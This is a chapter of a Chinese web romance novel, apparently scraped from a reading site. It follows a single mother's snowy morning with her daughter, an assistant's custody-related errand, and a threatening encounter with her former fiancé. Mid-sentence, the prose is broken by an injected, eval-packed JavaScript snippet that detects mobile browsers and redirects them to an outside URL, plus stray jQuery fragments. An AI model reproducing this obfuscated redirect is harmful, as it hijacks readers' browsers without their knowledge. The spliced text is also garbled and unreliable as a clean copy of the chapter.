11.第 11 章

作品:《我的爸爸十八岁

    雪是在后半夜下起来的,洋洋洒洒的雪花一直下到天明都没有停下来,今年的雪好像尤其多,才入冬不久,这已经是第二场。


    沈安若在被窝里翻一个身,在迷迷糊糊中醒来,头有些针扎似的疼。


    她已经有好久都没有醉过了,她的酒量好是天生的,可能是遗传了她爸,在她不算多的记忆里有些印象,他是很能喝的一个人。


    而且不管喝得多醉,她也不会断片儿,发生过什么自己做过什么,她都会记得一清二楚。


    沈安若揉揉发胀的脑袋,拥着被子靠到床头发了会儿呆。


    她不过是问了句“你算老几”,他的脸就黑成了锅底,她要是真的说出“你算哪坨狗屎粑粑,还能管到我和谁交往结婚”这种心里话,他估计得直接把她从楼道里给扔出去。


    幸亏她当时还勉强撑出了最后一点理智,真要把他惹怒了对她也没什么好处。


    沈安若起身下床,顺手拿起床头柜上的鲨鱼夹将散乱的头发简单挽起。


    客厅里很安静,厨房的灶台上,砂锅里的粥在咕嘟咕嘟地熬着,香味和热气同时在房间里弥漫开,外面的雪还在下,落地窗开着一点缝隙,院子里有压低的欢声和笑语。


    沈安若套上件羽绒外套,拉开落地窗。


    诺诺听到声音,从雪地里直起身,帽子下裹着的小脸红扑扑的,睫毛鼻尖上还沾着晶莹的雪花:“妈妈!你醒啦,快看我堆的雪人!”


    她奶声奶气地给妈妈依次介绍自己的作品:“这个是诺诺,这个是妈妈,这个是姨婆。”


    沈安若走到她身边,蹲下身,给她抹去鼻尖上化了的雪,又摸摸她的小脸儿,认真看完地上排排坐的三个小雪人,又看回她,由衷夸赞:“我们诺诺真棒。”


    诺诺歪头笑得甜津津,抵到妈妈怀里要亲妈妈。


    沈安若人刚醒,身上还有些软绵乏力,诺诺一靠过来,她脚下没站稳,人直接向后倒在了雪地里。


    诺诺急着要拉妈妈,沈安若抓起旁边的雪,攒了个松散的雪球,轻轻朝她扔过去,诺诺反应过来,咯咯地笑开,弯腰抓起地上的雪,先砸一个雪球到妈妈身上,又抓一个雪团砸上姨婆。


    但她一个对阵两个,很快露出败势,又赶紧找同盟拉帮手,喊黄桂琴:“姨婆!你要帮我,我打不过妈妈!”


    黄桂琴立马倒戈,站到了诺诺这一头,她主管大后方,除了负责捏雪球,还要时刻提醒冲锋队队长,敌人雪球降落的方位。


    冲锋队队长诺诺,一门心思放在进攻上,雪球一个接一个地砸过去,奈何准头不太好,得需要敌人自己上前找雪球接到身上。


    沈安若“又躲又避”,主动被飞过来的雪球砸到满身都是雪,认输投降:“好了好了,妈妈认输,诺诺和姨婆太厉害了,妈妈一个雪球都躲不过。”


    诺诺手里还举着雪球,眼睛亮闪闪的像是沾上了雪花的晶莹,听到妈妈的话,兴奋地看黄桂琴:“姨婆好厉害,我们赢啦!”


    黄桂琴笑得合不拢嘴,俯身将她抱起来,给她拍拍衣服上的雪,又亲亲她红红的小鼻子:“还是我们诺诺厉害。”


    已经停战的沈安若看准时机,悄悄扔过去一个雪球。


    诺诺被砸到背,又咯咯笑:“妈妈偷袭我们!”


    她不甘示弱,靠在姨婆怀里,借着姨婆身高的高度,将手里的最后一个雪球直接扔出去,结果用力过猛,雪球没砸到妈妈,而是飞过了铁栅栏,落进了隔壁院子里。


    诺诺睁大眼睛,小小地“啊”了声,又捂住嘴,看妈妈。


    “没事儿,那边院里没人,砸不到谁。”


    沈安若安小姑娘的心,他不喜欢雪天,就算他现在在家,这个天儿肯定也不会出来院里。


    诺诺点了点头,又眨了眨眼。


    黄桂琴抱着她往屋里跑:“回屋喽,南瓜粥要好喽。”


    诺诺听到好吃的,收回注意力,搂上姨婆的脖子:“我要吃南瓜粥!”又贴到姨婆耳边,“不给妈妈吃,妈妈不乖,偷袭我们。”


    沈安若假装在后面追:“说我什么坏话呢,我可全都听到了。”


    诺诺笑得更欢实。


    三人进了屋,落地窗关上,银铃般的笑声被隔在屋子里,小院中又恢复到安静,只有雪花簌簌落下的声响。


    隔壁的院子也是安静的。


    林修远面无表情地将砸到头上脸上的雪随意拂了几下,在冰天雪地里站了好一会儿,才回身进了屋。


    方大川接到老板电话的时候,正在李寒山的办公室里喝茶,他一看到老板来电,总是会下意识地站起身,双手捧手机到耳边,听从老板的吩咐。


    老板先问文件给李总送到了吗,方大川回李总已经签完字,然后电话那头便沉默下来,方大川在这一头耐心等着,老板不可能专门打个电话过来就只是问问文件送到了没有,明显还有其他事情要说。


    不出他所料,沉默持续少顷,老板又问:“刘律师跟沈安若谈过了?”


    不知道从什么时候开始,老板不再叫沈小姐“沈小姐”,而是直呼其名。


    事关沈小姐的事情,在方大川这里就是机密中的最高机密,不能在别人面前谈起,方大川抬眼看向办公桌那头的李总,指指外边,示意自己要出去接个电话。


    李寒山见他有要事谈,让他不用动,他起身出了办公室,又关上门,把地方让出来。


    方大川斟酌着老板刚才话里的语气,回道:“我早晨联系过刘律,他手机关机中,他办公室那边说他今天去香港出差,落地得中午之后了,我已经给刘律留过言,让他下飞机后第一时间回我电话。”


    那头又沉默片刻,开口道:“先不用跟刘律师提了。”


    方大川握紧手机,小心和老板确认清楚:“是不用让刘律跟沈小姐谈抚养权的事情了?”


    老板淡淡地“嗯”一声,就挂断了电话。


    方大川看着暗掉的手机屏幕,拍了拍自己胸口,长舒一口气。


    其实他根本就还没和刘律师联系过,更别说给刘律师留什么言,他不过是看到刘律师助理的朋友圈,知道刘律师今天去香港出差。


    他今早醒来一翻手机,就看到老板昨晚大半夜给他的信息,让刘律师那边尽快和沈小姐谈小公主抚养权的问题。


    他当时看完这条信息就觉得有些奇怪,老板要是真想从沈小姐那里夺小公主的抚养权,不会等到现在。


    虽然他不知道老板和沈小姐之间昨天大半夜发生了什么,但他总觉得老板还会收回这个昏了头的决定,所以就没有第一时间和刘律师联系。


    没想到竟然让他给赌对了,中午都还没到,老板就又改了主意,看来他在成为老板得力心腹这条路上又进了一步。


    方大川勉强压下心里的激动,坐回椅子上,又喝一口茶,也不知道李总去了哪儿,目光突然被办公桌上摆着的照片吸引住。


    照片里,李总一身军装,气宇轩昂,英姿飒爽。


    站在他身旁的少年的是……方大川直起些身,凑近相框看,眼睛噌地亮起来。


    是老板!!


    老板在这张照片里看起来顶多也就十七八岁的样子,正介于男生和男人之间的转变。


    干净青涩的眉眼间不经意地流露一种清贵的疏离,那是生在几辈堆砌起来的富贵门里被融到骨血里的东西,从娘胎里就带来的,别人纵使学一辈子也难得这种对万事万物都游刃有余的从容。


    老板就那样懒懒散散地站在玉兰树下,方大川脑子里只能想到一句诗,陌生谁家少年,足风流。


    老板在上学的时候就绝对属于学校风云人物的顶端,不定让多少花季少女心驰神往过。


    旁边还有正被狗追到树上的陈总,好吧,看来陈总不靠谱的属性是打小就有的,并不是国外的水给他喝到基因突变的。


    方大川忍不住拿起手机,想拍下这张照片,回头可以给办公室里的人看,手还没按到屏幕,视线定在照片背景里那条人来人往的长街。


    在一个不起眼的角落,有一个瘦瘦小小的身影,狗啃一样的短发,乍一眼都看不出是男生还是女生,戴着副厚厚的黑框眼镜,脸上的神情怯怯的,正在望着老板的方向。


    他怎么觉得这个半大的孩子有点像……沈小姐。


    不过方大川马上就否认了自己的想法,不可能会是沈小姐。


    他看过沈小姐的一些资料,沈小姐虽说打小是跟着姑姑姑父长大的,在沈小姐的姑姑家出事前,家里的条件还是可以的,在镇上都有自己的工厂,日子应该过得富足,而这个孩子更像是个沿街乞讨的小乞丐。


    办公室的门口传来响动,方大川回过神,从照片上收起手机,又坐回到椅子上。


    李寒山走进来,见他在看照片,笑道:“你老板一向不喜欢拍照片,这还是我当兵的时候,他和陈瑾舟去看我,拍下的这么一张,这都过去多少年了,你老板那个时候才十八。”


    他拿起照片看了眼:“这照片可值钱,陈瑾舟那天从树上掉下来被狗给咬了屁股,他想抹杀掉这段黑历史,几次开价要把这照片给赎回去,我都没给,就想着等我哪天缺钱了,讹他一笔大的。”


    方大川知道李总是在玩笑,也跟着打哈哈,又攥紧手机,原来还有这么一出渊源,那他待会儿得赶紧把这张照片给删了,要是让陈总知道他手里有他的黑历史,那他指定要没安生日子过了。


    陈瑾舟还不知道自己底裤已经被人扒了个精光,他抱儿子下车,直接让他坐到他肩上:“儿子,给爸爸找找,二十七门儿在哪儿?”


    陈知聿眼睛寻着门牌号,又问爸爸:“Oswald怎么会搬到这里来?”


    陈瑾舟道:“你干爸想捞月亮。”


    陈知聿不解:“月亮在天上,要怎么捞呀?”


    陈瑾舟回:“月亮可以远在天上,也可以近在眼前,能不能捞到单看你干爸的本事,这些事等你再长大些就能懂了。”


    他没听见回音儿,抬眼看肩上安静下来的小家伙,又跟着他眼睛的落点看过去,心里不由嘿了声,他就说这臭小子看什么呢看得这么出神。


    从雪地里走过来一顶漂亮的小姑娘,小红帽,雪白的羽绒服,水灵灵的大眼睛,红红的小脸蛋儿,边走嘴里还边“嘿咻嘿咻”地给自己打着劲儿。


    也不知道三哥上辈子积了什么福修了什么德,一觉醒来就得了这么个宝贝女儿。


    陈瑾舟停下脚,看黄桂琴,摆出最真挚无害的笑容,客气问道:“这位阿姐,麻烦问一下,咱这儿二十七门儿在哪边,我们找了半天也没找到。”


    黄桂琴瞅他,心道这是哪家的亲戚来串门了,长得倒是周正,就是说话油嘴滑舌的,一看就是女人堆里混出来的,她这年纪都能当他妈了,叫哪门子的阿姐,不过他肩上坐着的这小男孩儿倒是虎头虎脑的可爱。


    她心里想得多,不上脸,热情地给他指路:“就在前面,你看见那棵树了吧,拐进去就是二十七门。”


    陈瑾舟笑着跟她道谢,又拍拍陈知聿的小屁股:“跟妹妹说再见。”


    陈知聿的脸不知道是冻的还是被风吹的,有些红,嘴动了动,没能说出来,又看陈瑾舟:“Daddy,我要下来自己走。”


    陈瑾舟乐了:“呦,现在不怕雪把你的鞋给弄脏了。”


    陈知聿脸更红。


    诺诺对他有些好奇,但又急着去买刚出炉的蜂蜜小面包,她主动跟他挥挥手说再见,拉着黄桂琴往前走,小声说:“姨婆,我们也住在二十七门。”


    黄桂琴点头:“对的,那姨婆再问诺诺,我们住的这个小区叫什么?”


    “翠微园,南丰路上的翠微园。”诺诺乖乖回。


    她又道:“妈妈教过我的,我要是不小心和妈妈姨婆走散了,就跟警察叔叔说我们家的地址,我还能背出妈妈的电话号码,姨婆的电话号码,怀章叔叔也让我记住他的电话号码,我背了两遍就记住啦。”


    黄桂琴笑,给她往下拉了拉帽子:“累不累?走累了姨婆抱你。”


    诺诺摇头:“不累的,我喝了两碗南瓜粥,有的是力气。”


    说着话,还伸胳膊学公园里练拳的老大爷比划了两下。


    黄桂琴笑出声。


    陈瑾舟低头看地上站着不动的小人儿:“小月亮可爱吧?”


    陈知聿仰头问:“她的名字是小月亮吗?”


    陈瑾舟被问住,屈指挠挠太阳穴:“她叫什么你爹我还真不知道。”


    陈知聿看他:“那Daddy为什么叫她小月亮?”


    陈瑾舟笑,自然是因为,对有人来说,她妈妈就是那弯看得到又得不到的天上月。


    沈安若听到外面楼道里一重一轻的脚步声,还以为是桂姨忘了什么东西,又带着诺诺回来了,她走到玄关口,又停住,门敲响的是对面。


    看来他还真有在这边住下来的打算,沈安若握紧门把,电话那头冯宝珠的话又将她拉回神。


    “王国富背后的那个人我查到了些信息,说是华裔,其实几年前才出的国,靠富婆拿到的绿卡,又靠富婆积累资本起的家。”


    “这可不是个一般人,四年内和四个富婆结了婚又离婚,其中有一个被他骗的倾家荡产直接跳了楼,关键是他还能全身而退。”


    “我们是他在国内接触的第一个公司,看他之前做事的风格就知道了,这个人应该极其聪明,做事有规划,为达目的不择手段,按说我们公司应该还没有显眼到让他一眼就相中的地步,你说这背后是不是有什么事情?”


    冯宝珠开始还有些八卦的意思,说到后面又严肃起来。


    沈安若明白她的意思,王国富的团队上个月来他们公司考察后,立马就想敲定投资的事项,金额还相当客观,完全足够支持他们接下来几年的运营研发。


    但有的时候事情太顺了反而会让人生疑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16564705|186076||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,尤其是王国富提出的诸多条件背后有许多隐藏的风险,她也是和律师一起把所有的文件前前后后细读了几遍,才找出所有存疑的地方。


    她有一种说不上来的直觉,这位王国富看起来不像是要投资他们,更像是给他们布置了一个深不见底的陷阱。


    可他这样做的目的又是什么?为了他们手里的专利技术还是别的什么。


    冯宝珠和她有同样的担心:“王国富今晚会参加一个酒会,我想再去探探他的底,搞清楚他到底想干什么,他们如果就是针对我们公司,这次事情不成,肯定还会挖别的坑等着我们。”


    沈安若想了想,道:“我和你一起吧。”


    她一个人去她不放心。


    冯宝珠高兴:“行啊,我跟你说,我已经拿到了酒会名单,青年才俊有不少,老钱新贵都有,我准备挑一个顺眼的下手,回头就带回去给我们家老头子瞧瞧,让他也知道知道这江城不是只有李家才够资格当他门当户对的亲家。”


    沈安若笑。


    冯宝珠道:“你别光笑,你今天晚上也好好看看,争取拿下一个,”她伸懒腰叹一声,“天冷了,最适合谈场恋爱,不想谈恋爱有个人暖暖被窝也是好的。”


    沈安若轻声回:“我用不到别人,诺诺可以给我暖被窝,她就是个小火炉。”


    冯宝珠哼哼,吃不到甜葡萄的酸:“你等着吧,总有一天我得把小诺诺抢过来给我当两天闺女。”


    沈安若想到什么,眼里的笑慢慢散了些,他说的另有安排也不知道是在琢磨什么盘算,他算计一向多。


    她虽然不怕和他争抚养权,上法院也不怕,但也不想面对最差的那一种局面,她不能让诺诺受到任何伤害。


    要是如诺诺所说,他有在交往的女朋友,对她来说是一件再好不过的事情,至少他的注意力能从她们这边分开些,要是再能快些结婚,就更好了,他结了婚,总不能再住在这里,肯定会回北城去。


    沈安若已经发现了,她现在对他有一种很矛盾的心理,心里想着要和他和平共处,但每次一见到他,总会惹出些事端,她还是和他越少碰面越好。


    酒会在城东,冯宝珠开车来接的她,她到了才发现这酒会的地点离他在城东的那套宅子很近,就是前后街的距离。


    她站在露台上,都能看到他院子里的湖,她之前跟着他来过这边一次。


    有一回她在车上和钟叔闲聊起她小时候的事情,她生日是在深冬,每年一到那天,爸爸总会带着她去湖上滑冰。


    那年的生日,他便带着她来了这边,那时湖上的冰已经冻得结结实实,湖边放着新做好的雪橇,他让她坐上去,他在后面推着她,一直玩到深夜。


    那是她那些年里仅有的那么一两段零星半点的快乐时光。


    他对她大多的时候都是冷言冷语,可真要说好,也不是没有过,只是很少,更像是一种高高在上的施舍。


    沈安若从远处收回目光,倚着栏杆,轻轻叹一口气,白色的雾气融进寒冷的夜色里,模糊了眼前的视线,她裹紧身上的披肩,又回到宴会厅。


    王国富到现在一直没有出现,应该是不会再来了,冯宝珠和一新认识的男人在角落里正聊得火热。


    沈安若不打扰她,给她微信上留了话,打好车,接过服务员递来的外套,穿好衣服,下楼,到街边等车。


    诺诺发来语音问她什么时候回家,沈安若回着她的信息,一行人从她身边走过,沈安若侧身走向一旁,让出些路。


    走在最前面的人蓦地停住脚,回身打量她,阴鸷的眼神里慢慢亮出一抹玩味的笑,像是看到了感兴趣的猎物。


    他开口叫:“小安若。”


    沈安若瞬间全身都僵住,这个声音就如同阴沟里的毒蛇,她每次听到胃里都会涌上一种生理性的恶心。


    她好像知道了王国富背后的那个人是谁。


    骆驰走回到她身边,对她这个反应很满意,不枉这么大冷天的,他还特意跑过来一趟。


    他慢悠悠道:“是不是没想到这辈子还能再见到我?”


    沈安若看着他那双深褐色的眼睛,像是被谁扼住了喉咙,一个字都说不住来。


    骆驰笑:“我早就说过我的命有九条,没那么轻易被你给弄死,你看我这不是又回来了,我们真的是好久都没见了。”


    他抬起手,冰冷皮质的手套落到她的脸上,慢慢划下来。


    她现在活得比他想得还要好,这让他更兴奋,他最喜欢把她从高处拽落到烂泥潭里,再看她一点点地挣扎。


    当初他对她太掉以轻心了,也小看了她,才让她有了机会给了他致命一击,这次不会了,他喜欢旗鼓相当的对手,相比她一直藏愚守拙地装弱,他更喜欢她强一点。


    钟瑞峰看着空旷的街边停着的一行人,缓下些车速,在后视镜里看后座的人:“安若怎么来了这边?”


    后座暗影下阖目养神的人没有反应,像是睡了过去。


    钟瑞峰又道:“那位是不是她那个未婚夫?”


    林修远睁开些眼,偏头看向车窗外路灯下的两人,面色有些沉,没说话,又闭上了眼。


    好一会儿,没什么情绪的声音从后座传来:“前未婚夫。”


    钟瑞峰听出语气里的别扭,不明显地笑了下,他又看沈安若,觉出些不对劲儿:“要不要停车?安若看着脸色不太对。”


    林修远看也不看,直接回:“不用。”


    围着她的男人一个巴掌五根手指都不够她数,他算老几,管不到她和谁交往结婚,也管不到她和旧情人叙旧。


    骆驰低下些身,仔细端详沈安若没有血色的脸,笑得十分开心。


    他还以为她长进了不少,看来还是跟以前一样,一见到他,四肢就紧绷僵硬,严重的时候甚至连动都动不了。


    以前他对她有那么一点不多的愧疚,又被她哄得团团转转,一直都没舍得动她,结果她转头就爬上了野男人的床。


    他骆驰这辈子想得到的东西还没从嘴边溜走过,这几年里,他生怕她这个毛病好了,他以前没想明白,被她捅了一刀后才想通,她越是怕他,在床上摆弄起来岂不是会越有意思。


    他们订过娃娃亲,还在城隍庙里拜过堂,他不管她和谁睡过,有过谁的孩子,这辈子只能当他的媳妇儿。


    沈安若拼着力气拂开他毒蛇信子一样的手,僵住的腿却动不了,她从牙缝里挤出一个字:“滚!”


    骆驰哈哈大笑起来。


    从两人身边疾驰开过去的车,在前面路口急刹住,停了一会儿,又原路倒回来,停在沈安若旁侧。


    漆黑的车窗降下,露出森冷的一张脸。


    骆驰直起身,看过去,眉微微挑起,笑里带着股子说不上来的邪气。


    林修远。


    他们四年前就该见上一面。


    两个男人隔空对上视线,凛冽的寒风化成无声的刀锋。